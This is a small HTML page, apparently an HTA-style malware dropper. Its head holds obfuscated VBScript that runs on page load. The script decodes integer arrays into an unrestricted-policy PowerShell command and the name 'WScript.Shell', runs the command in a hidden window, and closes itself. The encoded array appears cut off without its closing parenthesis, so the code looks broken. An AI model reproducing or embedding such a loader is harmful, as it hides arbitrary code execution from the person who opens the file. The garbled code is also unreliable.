<head>
<script language="vBsCRIPT">
Function PDdMytHkyud(ByVal SXIVnBFdOHiF)
Dim fSUSmHL
Dim ApBzDsNNLojjgZ
ApBzDsNNLojjgZ = 30996
Dim BNFLxeH
BNFLxeH = BzsLdLIoGGs(SXIVnBFdOHiF)
If BNFLxeH = 7000 + 1204 Then
For Each fSUSmHL In SXIVnBFdOHiF
Dim BaxsXL
BaxsXL = BaxsXL & Chr(fSUSmHL - ApBzDsNNLojjgZ)
Next
End If
PDdMytHkyud = BaxsXL
End Function
Function dntCV()
Dim SXIVnBFdOHiF
Dim flJnLE
SXIVnBFdOHiF = Array(31108,31107,31115,31097,31110,31111,31100,31097,31104,31104,31042,31097,31116,31097,31028,31041,31065,31116,31097,31095,31113,31112,31101,31107,31106,31076,31107,31104,31101,31095,31117,31028,31081,31106,31078,31097,31111,31112,31110,31101,31095,31112,31097,31096,31028,31098,31113,31106,31095,31112,31101,31107,31106,31028,31103,31101,31108,31086,31085,31062,31112,31036,31032,31116,31105,31104,31109,31107,31066,31114,31040,31028,31032,31116,31116,31111,31068,31095,31068,31096,31037,31119,31087,31069,31075,31042,31066,31101,31104,31097,31089,31054,31054,31083,31110,31101,31112,31097,31061,31104,31104,31062,31117,31112,31097,31111,31036,31032,31116,31105,31104,31109,31107,31066,31114,31040,31028,31032,31116,31116,31111,31068,31095,31068,31096,31037,31121,31055,31098,31113,31106,31095,31112,31101,31107,31106,31028,31074,31076,31085,31070,31068,31086,31100,31094,31078,31103,31068,31036,31032,31116,31105,31104,31109,31107,31066,31114,31037,31119,31101,31098,31036,31032,31116,31105,31104,31109
flJnLE = PDdMytHkyud(SXIVnBFdOHiF)
Dim eKOV
Set eKOV = DFTQAhxytebU(PDdMytHkyud(Array(31083,31111,31095,31110,31101,31108,31112,31042,31079,31100,31097,31104,31104)))
eKOV.Run(flJnLE),0,true
self.close()
End Function
Function BzsLdLIoGGs(ByVal BNFLxeH)
BzsLdLIoGGs = VarType( BNFLxeH)
End Function
Function DFTQAhxytebU(ByVal objectType)
Set DFTQAhxytebU = CreateObject(objectType)
End Function
dntCV()
</script>
</head>
</html>